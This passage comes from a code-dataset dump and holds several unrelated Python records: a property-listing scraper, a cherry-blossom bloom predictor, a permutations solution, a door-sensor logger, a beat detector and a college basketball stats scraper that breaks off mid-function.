== 'heights':\n buildname = 'None'\n\n buildname = buildname.title()\n if buildname == '' or buildname == ' ':\n buildname = 'None'\n item['Building_name'] = buildname\n\n config = data['bedrooms']\n if config is None or config == '' or config == ' ':\n config = 'None'\n else:\n config += 'BHK'\n\n item['config_type'] = config\n\n # item['txn_type'] = data['listingCategory']\n\n if 'listingType=buy' in str(response.url):\n item['txn_type'] = 'Sale'\n else:\n item['txn_type'] = 'Rent'\n\n if item['txn_type'] == 'Sale' or item['txn_type'] == 'Resale':\n item['Selling_price'] = data['price']\n item['Monthly_Rent'] = '0'\n\n if 'Rent' in item['txn_type']:\n item['Monthly_Rent'] = data['price']\n item['Selling_price'] = '0'\n\n if item['Selling_price'] == '0' and item['Monthly_Rent'] == '0':\n item['price_on_req'] = 'TRUE'\n else:\n item['price_on_req'] = 'FALSE'\n\n if 'Sale' in item['txn_type']:\n item['Status'] = data['projectStatus']\n if 'progress' in item['Status'] or item['Status'] == '' or item['Status'] is None:\n item['Status'] = 'Under Construction'\n aval = i.xpath('.//div[@class=\"listing-details\"]/span[contains(@title,\"by\")]/span/strong/text()').extract_first()\n if aval is not None:\n aval = aval.split('by ')[1]\n item['Possession'] = dt.strftime(dt.strptime(aval, '%b %Y'), '%m/%d/%Y')\n else:\n item['Possession'] = '0'\n elif 'Rent' in item['txn_type']:\n item['Status'] = i.xpath('.//*[contains(@class,\"hcol w44\")]/div[1]/text()').extract_first(default='None')\n aval = i.xpath('//div[@class=\"listing-details\"]/span[@title=\"availability\"]/span/strong/text()').extract_first()\n if aval is not None:\n if 'immediate' in aval:\n item['Possession'] = '0'\n elif 'availability' in aval:\n aval = aval.split('availability ')[1]\n item['Possession'] = dt.strftime(dt.strptime(aval, '%b %Y'), '%m/%d/%Y')\n else:\n item['Possession'] = '0'\n '''\n try:\n dat = int(data['verificationDate'])/1000\n item['listing_date'] = time.strftime('%m/%d/%Y %H:%M:%S',time.gmtime(dat))\n item['updated_date'] = item['listing_date']\n except:\n item['listing_date'] = dt.now().strftime('%m/%d/%Y %H:%M:%S')\n item['updated_date'] = item['listing_date']\n '''\n if not (data['verificationDate'] == ''):\n dat = int(data['verificationDate']) / 1000\n item['listing_date'] = datetime.datetime.utcfromtimestamp(dat).strftime('%m/%d/%Y')\n item['updated_date'] = item['listing_date']\n else:\n item['listing_date'] = dt.now().strftime('%m/%d/%Y')\n item['updated_date'] = item['listing_date']\n\n if 'ale' in item['txn_type']:\n prc_pr_sf = i.xpath('.//div[contains(@class,\"lbl rate\")]/text()').extract_first(default='0')\n item['price_per_sqft'] = re.findall('[0-9]+', prc_pr_sf)\n item['price_per_sqft'] = ''.join(item['price_per_sqft'])\n else:\n item['price_per_sqft'] = '0'\n\n sqf = data['size']\n # i.xpath('.//span[@class=\"size\"]/text()').extract_first()\n try:\n item['Bua_sqft'] = re.findall('[0-9]+', sqf)\n item['Bua_sqft'] = ''.join(item['Bua_sqft'])\n if item['Bua_sqft'] == '' or item['Bua_sqft'] == ' ' or item['Bua_sqft'] is None:\n item['Bua_sqft'] = '0'\n except:\n item['Bua_sqft'] = '0'\n\n age = i.xpath('.//div[@class=\"infoWrap\"]/div[@class=\"listing-details\"]/span[@title=\"old\"]/span/text()').extract_first(default='0')\n\n if 'year' in age:\n if '-' in age:\n age = re.findall('[0-9]+', age.split('-')[1])[0]\n else:\n age = re.findall('[0-9]+', age)[0]\n\n if age == '' or age == ' ' or age is None:\n age = '0'\n\n item['age'] = age\n\n item['Details'] = i.xpath('.//div[@class=\"otherDetails\"]/text()').extract_first(default='None').split('.')[0]\n\n try:\n if len(item['Building_name']) < 3 or len(item['Building_name']) > 35:\n item['Building_name'] = 'None'\n except Exception as e:\n print(\"Exception at building name\", e)\n\n item['scraped_time'] = dt.now().strftime('%m/%d/%Y')\n\n if not item['Building_name'] == 'None' and not item['sublocality'] == 'None' and not item['locality'] == 'None':\n item['address'] = item['Building_name'] + ',' + item['sublocality'] + ',' + item['locality'] + ',' + item['city']\n elif not item['sublocality'] == 'None' and not item['locality'] == 'None':\n item['address'] = item['sublocality'] + ',' + item['locality'] + ',' + item['city']\n elif not item['Building_name'] == 'None' and not item['locality'] == 'None':\n item['address'] = item['Building_name'] + ',' + item['locality'] + ',' + item['city']\n elif not item['locality'] == 'None':\n item['address'] = item['locality'] + ',' + item['city']\n else:\n item['address'] = item['city']\n\n if ((not item['Monthly_Rent'] == '0') and (not item['Bua_sqft'] == '0') and (not item['Building_name'] == 'None') and (not item['lat'] == '0')) or ((not item['Selling_price'] == '0') and (not item['Bua_sqft'] == '0') and (not item['Building_name'] == 'None') and (not item['lat'] == '0')) or ((not item['price_per_sqft'] == '0') and (not item['Bua_sqft'] == '0') and (not item['Building_name'] == 'None') and (not item['lat'] == '0')):\n item['quality4'] = 1\n elif ((not item['price_per_sqft'] == '0') and (not item['Building_name'] == 'None') and (not item['lat'] == '0')) or ((not item['Selling_price'] == '0') and (not item['Bua_sqft'] == '0') and (not item['lat'] == '0')) or ((not item['Monthly_Rent'] == '0') and (not item['Bua_sqft'] == '0') and (not item['lat'] == '0')) or ((not item['Selling_price'] == '0') and (not item['Bua_sqft'] == '0') and (not item['Building_name'] == 'None')) or ((not item['Monthly_Rent'] == '0') and (not item['Bua_sqft'] == '0') and (not item['Building_name'] == 'None')):\n item['quality4'] = 0.5\n else:\n item['quality4'] = 0\n\n if (not item['mobile_lister'] == 'None') or (not item['listing_by'] == 'None') or (not item['name_lister'] == 'None'):\n item['quality3'] = 1\n else:\n item['quality3'] = 0\n\n if (not item['Launch_date'] == '0') or (not item['Possession'] == '0'):\n item['quality2'] = 1\n else:\n item['quality2'] = 0\n\n if (not item['Building_name'] == 'None') and (not item['listing_date'] == '0') and (not item['txn_type'] == 'None') and (not item['property_type'] == 'None') and ((not item['Selling_price'] == '0') or (not item['Monthly_Rent'] == '0')):\n item['quality1'] = 1\n else:\n item['quality1'] = 0\n except Exception as e:\n print(\"Exception in loop\", e)\n finally:\n yield item\n try:\n pages = json.loads(response.xpath('//div[@data-listing-wrapper]/script/text()').extract_first())\n if pages is not None:\n pageno = int(response.url.split('page=')[1])\n totalpages = pages['totalPages']\n if pageno < totalpages:\n url = response.url.split('page=')[0] + 'page=' + str(pageno + 1)\n yield Request(url, callback=self.parse, dont_filter=True)\n elif 'cardholder' in response.body:\n pageno = int(response.url.split('page=')[1])\n url = response.url.split('page=')[0] + 'page=' + str(pageno + 1)\n yield Request(url, callback=self.parse, dont_filter=True)\n except Exception as e:\n print(\"Exception at pagination\", e)\n","sub_path":"Mumbai/makkanMumbai.py","file_name":"makkanMumbai.py","file_ext":"py","file_size_in_byte":15386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"576158223","text":"from sklearn import metrics\nfrom sklearn.linear_model import Perceptron, LinearRegression\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\nfrom sklearn.preprocessing import LabelEncoder, StandardScaler\nfrom sklearn import ensemble\nimport datetime\n\n\nsakura_df = pd.read_csv('sakura_withbloom.csv')\n#print(sakura_df)\n\ntrain_df = sakura_df\ntest_years = np.array([1966, 1971, 1985, 1994, 2008])\nfor i in test_years:\n train_df = train_df[train_df['year'] != i]\n\ntest_df = sakura_df\ntest_df = test_df[(test_df['year'] == 1966) | (test_df['year'] == 1971) | (test_df['year'] == 1985) | (test_df['year'] == 1994) | (test_df['year'] == 2008)]\n\naccumulated_temp = []\ntmax = 0\ntrain_years = train_df.year.unique()\ntest_years = test_df.year.unique()\nsakura_years = sakura_df.year.unique()\n\np = range(0,52)\nfor k in p:\n for i in train_df[train_df.year == train_years[k]].serial:\n max_temp = train_df.get_value(i+31, 'max temp')\n tmax = tmax + max_temp\n if(train_df.get_value(i+31, 'bloom') == 1):\n accumulated_temp.append(tmax)\n break\n tmax = 0\nprint(len(accumulated_temp))\nprint(len(train_years))\n\nTmean = np.mean(accumulated_temp)\nprint(Tmean)\n\nsh = np.ones(len(train_years))*600\ntm = np.ones(len(train_years))*Tmean\n\nplt.plot(train_years, accumulated_temp)\nplt.plot(train_years, sh)\nplt.plot(train_years, tm)\nplt.xlabel('train years')\nplt.ylabel('accumulated max temperature')\nplt.show()\n\np = range(0, 5)\ntmax = 0\ndays = 31\ndays_tmean = []\nfor k in p:\n for i in test_df[test_df.year == test_years[k]].serial:\n max_temp = test_df.get_value(i + 31, 'max temp')\n tmax = tmax + max_temp\n days = days + 1\n if (tmax > Tmean):\n days_tmean.append(days)\n break\n tmax = 0\n days = 31\n\ntmax = 0\ndays = 31\ndays_sixhundred = []\nfor k in p:\n for i in test_df[test_df.year == test_years[k]].serial:\n max_temp = test_df.get_value(i + 31, 'max temp')\n tmax = tmax + max_temp\n days = days + 1\n if (tmax > 600):\n days_sixhundred.append(days)\n break\n tmax = 0\n days = 31\n\ndays = 31\ndays_true = []\nfor k in p:\n for i in test_df[test_df.year == test_years[k]].serial:\n days = days + 1\n if (test_df.get_value(i + 31, 'bloom') == 1):\n days_true.append(days)\n break\n days = 31\n\nprint(days_tmean)\nprint(days_sixhundred)\nprint(days_true)\n\ndiff_tmean = np.subtract(days_true, days_tmean)\nprint(diff_tmean)\n\ndiff_sixhundred = np.subtract(days_true, days_sixhundred)\nprint(diff_sixhundred)\n\njan = np.ones(len(days_tmean))*31\ndays_tmean_feb = np.subtract(days_tmean, jan)\n\ndays_sixhundred_feb = np.subtract(days_sixhundred, jan)\n\ndays_true_feb = np.subtract(days_true, jan)\n\n\ndiff_zero = np.zeros(5)\n\nfrom sklearn import metrics\nr2_tmean = metrics.r2_score(days_true, days_tmean)\nr2_sixhundred = metrics.r2_score(days_true, days_sixhundred)\nr2_tmean_feb = metrics.r2_score(days_true_feb, days_tmean_feb)\nr2_sixhundred_feb = metrics.r2_score(days_true_feb, days_sixhundred_feb)\n\nprint(r2_tmean)\nprint(r2_sixhundred)\nprint(r2_tmean_feb)\nprint(r2_sixhundred_feb)\n\n\nphi = 35.6666666\nl = 4\navg_temp = []\ndays = 0\naccumulated_avg_temp = 0\np = range(0, 57)\n\nfor k in p:\n for i in sakura_df[sakura_df.year == sakura_years[k]].serial:\n if (sakura_df.get_value(i, 'month') == 4):\n break\n\n temp = sakura_df.get_value(i, 'avg temp')\n accumulated_avg_temp = accumulated_avg_temp + temp\n days = days + 1\n\n meantemp_pyear = accumulated_avg_temp/float(days)\n avg_temp.append(meantemp_pyear)\n accumulated_avg_temp = 0\n days = 0\n\nbloom_days = []\nfor k in p:\n atemp = avg_temp[k]\n dj = 136.75 - 7.689 * phi + 0.133 * phi * phi - 1.307 * (np.log(l)) + 0.144 * atemp + 0.285 * atemp * atemp\n bloom_days.append(int(dj))\n\nd = []\nk = range(0,27,3)\nblossom_date = datetime.date(1960, 1, 31)\nblossom_day = datetime.timedelta(days=3)\nfor i in k:\n blossom_date = blossom_date + blossom_day\n s = blossom_date.strftime(\"%B %d\")\n d.append(s)\n\ny_lbl = np.arange(35.0, 57.0, 2.5)\n\nplt.plot(sakura_years, bloom_days)\nplt.xlabel('years')\nplt.ylabel('hibernation end day')\nplt.yticks(y_lbl, d)\nplt.show()\n\nR = 8.314\nTs = 17 + 273\ndict_bloom = dict((k, i) for (k, i) in zip(sakura_years, bloom_days))\nfor i in test_years:\n del dict_bloom[i]\n\ntrain_hiber_end_days = list(dict_bloom.values())\nprint(train_hiber_end_days)\n\np = range(0,52)\ndays = 31\ntrain_bloom_days = []\nfor k in p:\n for i in train_df[train_df.year == train_years[k]].serial:\n days = days + 1\n if (train_df.get_value(i + 31, 'bloom') == 1):\n train_bloom_days.append(days)\n break\n days = 31\n\nprint(train_bloom_days)\n\ndts = 0\nEa = range(5, 41)\nDTSj = []\ncount = 0\n\nfor r in Ea:\n for (m, j, k) in zip(p, train_bloom_days, train_hiber_end_days):\n for i in train_df[train_df.year == train_years[m]].serial:\n Tij = train_df.get_value(i + k - 1, 'avg temp') + 273\n dts = dts + np.exp((r * 4200 * (Tij - Ts)) / (R * Tij * Ts))\n count = count + 1\n if (count == (j - k + 1)):\n break\n\n DTSj.append(dts)\n dts = 0\n count = 0\n\nDTSj1 = np.reshape(DTSj, (36, 52))\nDTSj = np.reshape(DTSj, (36, 52)).T\n\nDTSmean = []\nfor i in range(1, 52):\n plt.plot(Ea, DTSj[i], 'bo')\n\nplt.plot(Ea, DTSj[0], 'bo', label='DTSj vs Ea')\nfor i in range(0, 36):\n DTSmean.append(np.mean(DTSj1[i]))\n\nDTSabsmean = np.mean(DTSmean)\navgDTSmean = np.ones(len(Ea)) * DTSabsmean\n\nplt.plot(Ea, DTSmean, 'yo', label='DTSmean for every Ea individually vs Ea')\nplt.plot(Ea, avgDTSmean, 'r', label='DTSmean')\nplt.xlabel('Activation Energy in kCal')\nplt.ylabel('transformed temperature days, DTS')\nplt.legend()\nplt.show()\n\nprint(DTSmean)\n\nmse = []\ndays_DTSmean = []\np = range(0,52)\ndts = 0\ncount = 0\n\nfor r in Ea:\n for (m, j, k) in zip(p, train_bloom_days, train_hiber_end_days):\n for i in train_df[train_df.year == train_years[m]].serial:\n Tij = train_df.get_value(i + k - 1, 'avg temp') + 273\n dts = dts + np.exp((r * 4200 * (Tij - Ts)) / (R * Tij * Ts))\n count = count + 1\n if (dts > DTSmean[r-5]):\n break\n if((i + k -1) == 20543):\n break\n\n days_passed = k + count - 1\n days_DTSmean.append(days_passed)\n dts = 0\n #print(count)\n #print('\\n')\n count = 0\n #print(r)\n mse_value = metrics.mean_squared_error(train_bloom_days, days_DTSmean)\n #print(days_DTSmean)\n mse.append(mse_value)\n del days_DTSmean[:]\n\nplt.plot(Ea, mse, 'ro')\nplt.xlabel('Activation Energy in kCal')\nplt.ylabel('Mean Squared Error')\nplt.show()\n\ndict_mse = dict((k, i) for (k, i) in zip(Ea, mse))\nbest_Ea = min(dict_mse, key=dict_mse.get)\nprint(best_Ea)\n\ndict_bloom = dict((k, i) for (k, i) in zip(sakura_years, bloom_days))\nfor i in train_years:\n del dict_bloom[i]\n\ntest_hiber_end_days = list(dict_bloom.values())\nprint(test_hiber_end_days)\n\ndays_DTSmean_test = []\np = range(0, 5)\ndts = 0\ncount = 0\nr2 = []\n\nfor r in Ea:\n for (m, k) in zip(p, test_hiber_end_days):\n for i in test_df[test_df.year == test_years[m]].serial:\n Tij = test_df.get_value(i + k - 1, 'avg temp') + 273\n dts = dts + np.exp((r * 4200 * (Tij - Ts)) / (R * Tij * Ts))\n count = count + 1\n if (dts > DTSmean[r-5]):\n break\n\n days_passed = k + count - 1\n days_DTSmean_test.append(days_passed)\n dts = 0\n count = 0\n r2_Ea = metrics.r2_score(days_true, days_DTSmean_test)\n r2.append(r2_Ea)\n del days_DTSmean_test[:]\n\n#print(days_true)\n#print(days_DTSmean_test)\n#print(r2_best_Ea)\nplt.plot(Ea, r2)\nplt.show()\ndict_r2 = dict((k, i) for (k, i) in zip(Ea, r2))\n\nbest_Ea_r2 = max(dict_r2, key=dict_r2.get)\nprint(best_Ea_r2)\nmax_r2 = max(dict_r2.values())\nprint(max_r2)\n\n#############################\ndatanow = np.zeros(11)\ntrain_data = []\np = range(0, 51)\ncount = 0\n\nfor m in p:\n for i in train_df[train_df.year == train_years[m]].serial:\n datanow[0] = datanow[0] + train_df.get_value(i, 'local pressure')\n datanow[1] = datanow[1] + train_df.get_value(i, 'sea pressure') - train_df.get_value(i, 'local pressure')\n datanow[2] = datanow[2] + train_df.get_value(i, 'total preci')\n datanow[3] = datanow[3] + train_df.get_value(i, 'max temp') - train_df.get_value(i, 'min temp')\n datanow[4] = datanow[4] + ((train_df.get_value(i, 'max temp') + train_df.get_value(i, 'min temp'))/2) - train_df.get_value(i, 'avg temp')\n datanow[5] = datanow[5] + train_df.get_value(i, 'avg temp')\n datanow[6] = datanow[6] + train_df.get_value(i, 'max temp')\n datanow[7] = datanow[7] + train_df.get_value(i, 'min temp')\n datanow[8] = datanow[8] + train_df.get_value(i, 'avg humid')\n datanow[9] = datanow[9] + train_df.get_value(i, 'min humid')\n datanow[10] = datanow[10] + train_df.get_value(i, 'sun hours')\n\n count = count + 1\n if (count == 100):\n break\n #a = np.ones(len(datanow)) * 120\n #data_now1 = np.divide(datanow, a)\n train_data.append(datanow)\n datanow = np.zeros(11)\n count = 0\n\ntrain_target = train_bloom_days[:-1]\n\n#print(np.shape(train_data))\n\ndatanow = np.zeros(11)\ntest_data = []\np = range(0, 5)\ncount = 0\n\nfor m in p:\n for i in test_df[test_df.year == test_years[m]].serial:\n datanow[0] = datanow[0] + test_df.get_value(i, 'local pressure')\n datanow[1] = datanow[1] + test_df.get_value(i, 'sea pressure') - test_df.get_value(i, 'local pressure')\n datanow[2] = datanow[2] + test_df.get_value(i, 'total preci')\n datanow[3] = datanow[3] + test_df.get_value(i, 'max temp') - test_df.get_value(i, 'min temp')\n datanow[4] = datanow[4] + ((test_df.get_value(i, 'max temp') + test_df.get_value(i, 'min temp'))/2) - test_df.get_value(i, 'avg temp')\n datanow[5] = datanow[5] + test_df.get_value(i, 'avg temp')\n datanow[6] = datanow[6] + test_df.get_value(i, 'max temp')\n datanow[7] = datanow[7] + test_df.get_value(i, 'min temp')\n datanow[8] = datanow[8] + test_df.get_value(i, 'avg humid')\n datanow[9] = datanow[9] + test_df.get_value(i, 'min humid')\n datanow[10] = datanow[10] + test_df.get_value(i, 'sun hours')\n\n count = count + 1\n if (count == 100):\n break\n\n #a = np.ones(len(datanow)) * 120\n #data_now1 = np.divide(datanow, a)\n test_data.append(datanow)\n datanow = np.zeros(11)\n count = 0\n\ntest_target = days_true\n\n#print(test_data)\n\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neural_network import MLPRegressor\n\nscaler = StandardScaler()\n\n#X_train, X_test, y_train, y_test = train_test_split(train_data, train_target, test_size=0.20, random_state=0)\n\n#X_train_scaled = scaler.fit(X_train).transform(X_train)\n#X_test_scaled = scaler.fit(X_test).transform(X_test)\ntrain_data_scaled = scaler.fit_transform(train_data)\ntest_data_scaled = scaler.fit_transform(test_data)\n\nmlp = MLPRegressor(max_iter=500, solver='lbfgs', random_state=8)\nparam_grid = {'hidden_layer_sizes': [(i, i) for i in range(1,15)],\n 'activation': ['relu', 'tanh', 'identity', 'logistic'],\n 'alpha': [0.0001, 0.001, 0.01, 0.1, 1]}\n_GS = GridSearchCV(mlp, param_grid=param_grid, scoring='r2', cv=10)\n_GS.fit(train_data_scaled, train_target)\n\nprint(_GS.best_score_)\nprint(_GS.best_params_)","sub_path":"Test/hiperdyneproject_sakurabloom/third_try.py","file_name":"third_try.py","file_ext":"py","file_size_in_byte":11700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"482644532","text":"import copy\nfrom typing import List\n\n\nclass Solution:\n def permute(self, nums: List[int]) -> List[List[int]]:\n # 32 ms\t13.9 MB\n permutations = []\n self.__backtrack([], set(), permutations, nums)\n return permutations\n\n def __backtrack(self, builder: List[int], set: set, permutations: List[List[int]], nums: List[int]):\n if len(builder) == len(nums):\n permutations.append(copy.copy(builder))\n return\n\n for _, num in enumerate(nums):\n if num in set:\n continue\n builder.append(num)\n set.add(num)\n self.__backtrack(builder, set, permutations, nums)\n builder.pop()\n set.remove(num)\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.permute([1, 2, 3]))\n","sub_path":"python/046.py","file_name":"046.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"250422771","text":"import piface.pfio as pf\nimport time\nimport sys\nimport syslog\n\n''' Script that uses PiFace Digital inputs/outputs \n to inform about security breeches in your home.\n Uses reed switches and magnets placed at doors/windows/etc.\n to indicate if they're opened/closed.\n Logs the information into /var/log/security.log file.\n'''\n\nclass SecurityReeds:\n def __init__(self, pin_pair, label):\n self.pin_pair = pin_pair\n self.label = label\n self.laststatus = \"\"\n self.inform()\n\n def inform(self):\n if pf.digital_read(self.pin_pair) == 1:\n if self.laststatus != 'closed':\n pf.digital_write(self.pin_pair, 1)\n self.loginfo(self.label + ' is CLOSED')\n self.laststatus = 'closed'\n else:\n if self.laststatus != 'open':\n pf.digital_write(self.pin_pair, 0)\n self.loginfo(self.label + ' is OPENED')\n self.laststatus = 'open'\n\n def loginfo(self, message):\n # Echo message\n print(message + ' at ' + time.strftime(\"%a, %d %b %Y %H:%M:%S\", time.gmtime()))\n # Log entry to auth log\n syslog.syslog(syslog.LOG_LOCAL0 | syslog.LOG_INFO, message)\n\ndef main(argv):\n pf.init()\n\n # Initialise reed switches\n gauges = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H']\n gauge_obj = [];\n cnt = 0\n for switch in gauges:\n gauge_obj.append(SecurityReeds(cnt, switch))\n cnt = cnt + 1\n\n # Loop and check reeds state\n while True:\n for gauge in gauge_obj:\n gauge.inform()\n time.sleep(0.05)\n\nif __name__ == \"__main__\":\n sys.exit(main(sys.argv))\n","sub_path":"security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"583208319","text":"import aubio\nimport numpy as num\nimport pyaudio\nimport time\nimport numpy\nfrom Queue import Queue\n\n# todo debug\n\n\nsamplerate = 44100\n\n# PyAudio object.\np = pyaudio.PyAudio()\n\n# Open in_stream.\nin_stream = p.open(format=pyaudio.paFloat32,\n channels=2, rate=samplerate, input=True,\n frames_per_buffer=1024)\n\nout_stream = p.open(format=pyaudio.paFloat32,\n channels=2,\n rate=samplerate,\n output=True,\n output_device_index=6,\n frames_per_buffer=1024)\n\nwin_s = 512 # fft size - was 512\n\nhop_s = win_s // 2 # hop size\ndelay = 4. * hop_s\n\nprint('delay is ' + str(delay))\nbeat_detection = aubio.tempo(\"default\", win_s, hop_s, samplerate)\n\nbeat_detection.set_delay_ms(200)\n\nbeat_number = 0\n\nstart_time = time.time()\nprevious_time = start_time\n\nin_chunk_number = 0\nout_chunk_number = 0\nbeat_data = []\nbeat_data_samples = []\nbeat_data_chunks = []\n\nprev_data = Queue()\nprev_beats = Queue()\n\nbeat_data_iterator = 0\n\nchunk_read_size = 256\n\n# todo add a delay of 4 blocks\n#\nwhile True:\n\n data = in_stream.read(chunk_read_size)\n\n mono_data = data[1::2]\n\n samples = num.fromstring(mono_data,\n dtype=aubio.float_type)\n\n\n prev_data.put(data)\n\n\n current_time = time.time()\n\n # delay audio\n if prev_data.qsize() == delay:\n out_stream.write(prev_data.get())\n #\n # if len(beat_data) > 0 and beat_data_iterator + 1 < len(beat_data) and beat_data[beat_data_iterator] < current_time - start_time:\n # beat_data_iterator = beat_data_iterator + 1\n # print('beat %d' % beat_number)\n # beat_number = beat_number + 1\n\n if len(beat_data_chunks) > 0:\n\n while beat_data_chunks[beat_data_iterator] < out_chunk_number \\\n and beat_data_iterator + 1 < len(beat_data_chunks):\n beat_data_iterator = beat_data_iterator + 1\n\n if beat_data_chunks[beat_data_iterator] == out_chunk_number:\n print('BEAT! %d out chunk number %d' % (beat_number, out_chunk_number))\n beat_number = beat_number + 1\n\n out_chunk_number = out_chunk_number + 1\n\n # print(prev_beats.get())\n # aubio below\n\n beat_array = beat_detection(samples)\n\n # print('beat_array detect' + str(beat_detection.get_last()))\n\n if in_chunk_number == 0:\n initial_aubio_sample_offset = beat_detection.get_last()\n\n in_chunk_number = in_chunk_number + 1\n\n is_beat = beat_array[0]\n\n if is_beat:\n current_time = time.time()\n\n current_bpm = beat_detection.get_bpm() #60.0/(current_time - previous_time)\n current_confidence = beat_detection.get_confidence()\n # print('BEAT %d: bpm: %f confidence: %f' % (beat_number, current_bpm, current_confidence))\n previous_time = current_time\n\n # prev_beats.put('BEAT %d: bpm: %f confidence: %f' % (beat_number, current_bpm, current_confidence))\n\n\n this_beat = int(in_chunk_number - delay + is_beat * hop_s)\n # print(\"%f\" % (this_beat / float(samplerate)))\n # print(\"%d\" % this_beat)\n beat_data.append(current_time - start_time + beat_detection.get_last_ms())\n\n # beat_data_samples.append(beat_detection.get_last() - initial_aubio_sample_offset)\n\n beat_data_chunks.append(in_chunk_number)\n\n # print('beat detected at %d' % int(beat_detection.get_last() - 2147483648))\n\n\n","sub_path":"code/mic_bpm_test.py","file_name":"mic_bpm_test.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"176839131","text":"import scraperUtils\nimport mbbClasses\n\ndef getUrl(season_id=None,team_id=None):\n base_url = \"http://stats.ncaa.org/team/index/{0}?org_id={1}\"\n if not (season_id is None) and not (team_id is None):\n base_url = base_url.format(season_id,team_id)\n return \"http://stats.ncaa.org/team/index/{0}?org_id={1}\"\n\ndef getEndYear(season_id):\n if str(season_id).strip() == \"10260\":\n return 2010\n if str(season_id).strip() == \"10440\":\n return 2011\n if str(season_id).strip() == \"10740\":\n return 2012\n if str(season_id).strip() == \"11220\":\n return 2013\n if str(season_id).strip() == \"11540\":\n return 2014\n if str(season_id).strip() == \"12020\":\n return 2015\n\ndef getRosterUrl(season_id,team_id):\n return \"http://stats.ncaa.org/team/roster/%s?org_id=%s\" % (season_id, team_id)\n\ndef getPlayerStatsUrl(season_id, team_id):\n return \"http://stats.ncaa.org/team/stats?org_id=%s&sport_year_ctl_id=%s\" % (team_id,season_id)\n\ndef getTeamUrl(team_id):\n return \"http://stats.ncaa.org/team/index/12020?org_id=%s\" % (team_id)\n\ndef getSeasonCodesDict():\n return {\"09-10\":10260, \"10-11\":10440, \"11-12\":10740, \"12-13\":11220, \n \"13-14\":11540,\"14-15\":12020}\n\ndef getSeasonCodesList():\n return [10260,10440,10740,11220,11540,12020]\n\ndef getTeamCodesDict():\n return {u'Menlo Oaks': 405, u'Mercer Bears': 406}\n\ndef getFloat(value, default=0.0):\n try: \n return float(value)\n except: \n return 0.0\n\n\ndef getInteger(value, default=0.0):\n try:\n return int(value)\n except:\n return 0\n\ndef getPlayerStats(roster, season_id, team_id):\n player_stats_url = getPlayerStatsUrl(season_id, team_id)\n soup = scraperUtils.getSoup(player_stats_url)\n table = soup.find(\"table\", {\"id\" :\"stat_grid\"})\n for row in table.findAll(\"tr\"):\n if row.get('class',[''])[0] == 'grey_heading':\n continue \n cell_data = [x.find(text=True) for x in row.findAll(\"td\")]\n player_number = str(cell_data[0])\n if player_number == \"-\":\n continue\n this_player = next(x for x in roster if x.number == player_number)\n minutes_parts = [float(str(x).strip()) for x in cell_data[7].strip().split(\":\")]\n this_player.minutes_played = minutes_parts [0] + (minutes_parts[1] / 60.0)\n \n this_player.field_goals_made = getFloat(cell_data[8])\n this_player.field_goals_attempted = getFloat(cell_data[9]) \n if this_player.field_goals_attempted == 0.0:\n this_player.field_goal_percentage = 0.0\n else:\n this_player.field_goal_percentage = 100.0 * (this_player.field_goals_made / this_player.field_goals_attempted)\n\n this_player.three_pointers_made = getFloat(cell_data[11])\n this_player.three_pointers_attempted = getFloat(cell_data[12])\n if this_player.three_pointers_attempted == 0.0:\n this_player.three_point_percentage = 0.0\n else:\n this_player.three_point_percentage = 100.0 * (this_player.three_pointers_made / this_player.three_pointers_attempted)\n\n this_player.free_throws_made = getFloat(cell_data[14])\n this_player.free_throws_attempted = getFloat(cell_data[15])\n if this_player.free_throws_attempted == 0:\n this_player.free_throw_percentage = 0.0\n else:\n this_player.free_throw_percentage = this_player.free_throws_made / this_player.free_throws_attempted\n\n this_player.total_points = getInteger(cell_data[17])\n this_player.average_points = this_player.total_points / this_player.games_played\n this_player.offensive_rebounds = getInteger(cell_data[19]) \n this_player.defensive_rebounds = getInteger(cell_data[19])\n this_player.total_rebounds = this_player.offensive_rebounds + this_player.defensive_rebounds\n this_player.average_rebounds = this_player.total_rebounds / this_player.games_played\n this_player.assists = getInteger(cell_data[23])\n this_player.turnovers = getInteger(cell_data[24])\n this_player.steals = getInteger(cell_data[25])\n this_player.blocks = getInteger(cell_data[26])\n this_player.fouls = getInteger(cell_data[27])\n this_player.double_doubles = getInteger(cell_data[28])\n this_player.triple_doubles = getInteger(cell_data[29])\n if len(cell_data) > 30: \n this_player.disqualifications = getInteger(cell_data[30])\n else:\n this_player.disqualifications = 0\n return roster\n\ndef getRoster(season_id, team_id):\n roster_url = getRosterUrl(season_id, team_id)\n soup = scraperUtils.getSoup(roster_url)\n print(soup)\n table = soup.find(\"table\", {\"id\" :\"stat_grid\"})\n roster = []\n for row in table.findAll(\"tr\"):\n if row.get('class',[''])[0] == 'heading':\n continue \n cell_data = [x.find(text=True) for x in row.findAll(\"td\")]\n this_player = mbbClasses.Player()\n this_player.number = str(cell_data[0])\n name_parts = [str(x.strip()) for x in cell_data[1].split(\",\")]\n if len(name_parts) == 2:\n this_player.last_name, this_player.first_name = name_parts\n else:\n this_player.last_name, this_player.rest, this_player.first_name = name_parts\n this_player.position = cell_data[2]\n if len(cell_data[3]) > 1:\n height_parts = [int(x.strip()) for x in cell_data[3].strip().split(\"-\")]\n this_player.height = height_parts[0] * 12 + height_parts[0]\n else:\n this_player.height = -1\n this_player.year = cell_data[4]\n this_player.games_played = getInteger(cell_data[5])\n this_player.games_started = getInteger(cell_data[6])\n roster.append(this_player)\n return getPlayerStats(roster, season_id, team_id)\n\ndef getSeasonStats(season):\n stats_url = getPlayerStatsUrl(season.season_id, season.ncaa_id)\n soup = scraperUtils.getSoup(stats_url)\n table = soup.find(\"table\", {\"id\" :\"stat_grid\"})\n rows = table.findAll(\"tr\")\n reversed_rows = list(reversed(rows)) \n 